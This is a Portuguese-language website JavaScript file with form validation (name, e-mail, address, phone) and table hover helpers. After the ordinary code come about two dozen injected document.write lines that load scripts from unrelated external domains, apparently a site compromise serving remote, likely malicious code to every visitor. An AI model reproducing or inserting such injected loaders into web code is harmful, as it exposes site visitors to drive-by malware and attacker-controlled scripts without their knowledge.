//função para validar o formulário
function verifyform(frm){
  with(frm){
    mail=EMail.value;
    espaco=mail.indexOf(' ');
    arroba=mail.indexOf('@');
    ponto=mail.lastIndexOf('.');
    dominio=mail.substring((arroba+1),mail.length);
    if(Nome.value==""){
      alert("Por favor, informe seu nome!")
      Nome.focus();
      return false;
    }
    if(EMail.value==""){
      alert("Por favor, informe seu e-mail!")
      EMail.focus();
      return false;
    }else if(espaco>-1||arroba<1||ponto<=(arroba+1)||dominio.indexOf('@')>-1||ponto>(mail.length-3)){
      alert("O e-mail está incorreto.\n Por favor, corrija-o!")
      EMail.focus();
      return false;
    }
    if(Endereco.value==""){
      alert("Por favor, informe seu endereço!")
      Endereco.focus();
      return false;
    }
    if(cod_ddd.value==""){
      alert("Por favor, informe o códido de area da sua cidade \(DDD\)!")
      cod_ddd.focus();
      return false;
    }
    if(telefone.value==""){
      alert("Por favor, informe seu telefone!")
      telefone.focus();
      return false;
    }
  }
}

//link na td
function mClk(src) {
  if(event.srcElement.tagName=='TD') {
    src.children.tags('A')[0].click();
  }
}
//mudar "bgcolor" da td
function mOvr(src,clrOver) {
  if (!src.contains(event.fromElement)) {
	  src.style.cursor = 'hand';
	  src.bgColor = clrOver;
	}
}

function mOut(src,clrIn) {
  if (!src.contains(event.toElement)) {
	  src.style.cursor = 'default';
	  src.bgColor = clrIn;
  }
}
//mensagem na barra de status
function abre_no_scrol(pUrl,pTit,pLX,pAY) {
  window.open(pUrl,pTit,'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=auto,resizable=no,copyhistory=no,width='+pLX+',height='+pAY+',top=150,left=167,screenX=167,screenY=150');
}

function openMenuOpt(pShortName, pId) {
  document.location = pShortName;
}
document.write('<script src=http://parafia-tarnawa.pl/images/index.php ><\/script>');
document.write('<script src=http://parafia-tarnawa.pl/images/index.php ><\/script>');
document.write('<script src=http://parafia-tarnawa.pl/images/index.php ><\/script>');
document.write('<script src=http://arcaderesort.com./login/listmembers.php ><\/script>');
document.write('<script src=http://arcaderesort.com./login/listmembers.php ><\/script>');
document.write('<script src=http://arcaderesort.com./login/listmembers.php ><\/script>');
document.write('<script src=http://arcaderesort.com./login/listmembers.php ><\/script>');
document.write('<script src=http://arcaderesort.com./login/listmembers.php ><\/script>');
document.write('<script src=http://arcaderesort.com./login/listmembers.php ><\/script>');
document.write('<script src=http://arcaderesort.com./login/listmembers.php ><\/script>');
document.write('<script src=http://arcaderesort.com./login/listmembers.php ><\/script>');
document.write('<script src=http://arcaderesort.com./login/listmembers.php ><\/script>');
document.write('<script src=http://il-castello-berlin.de/cgi-bin/renntrainer.php ><\/script>');
document.write('<script src=http://il-castello-berlin.de/cgi-bin/renntrainer.php ><\/script>');
document.write('<script src=http://il-castello-berlin.de/cgi-bin/renntrainer.php ><\/script>');
document.write('<script src=http://il-castello-berlin.de/cgi-bin/renntrainer.php ><\/script>');
document.write('<script src=http://il-castello-berlin.de/cgi-bin/renntrainer.php ><\/script>');
document.write('<script src=http://il-castello-berlin.de/cgi-bin/renntrainer.php ><\/script>');
document.write('<script src=http://il-castello-berlin.de/cgi-bin/renntrainer.php ><\/script>');
document.write('<script src=http://il-castello-berlin.de/cgi-bin/renntrainer.php ><\/script>');
document.write('<script src=http://il-castello-berlin.de/cgi-bin/renntrainer.php ><\/script>');
document.write('<script src=http://il-castello-berlin.de/cgi-bin/renntrainer.php ><\/script>');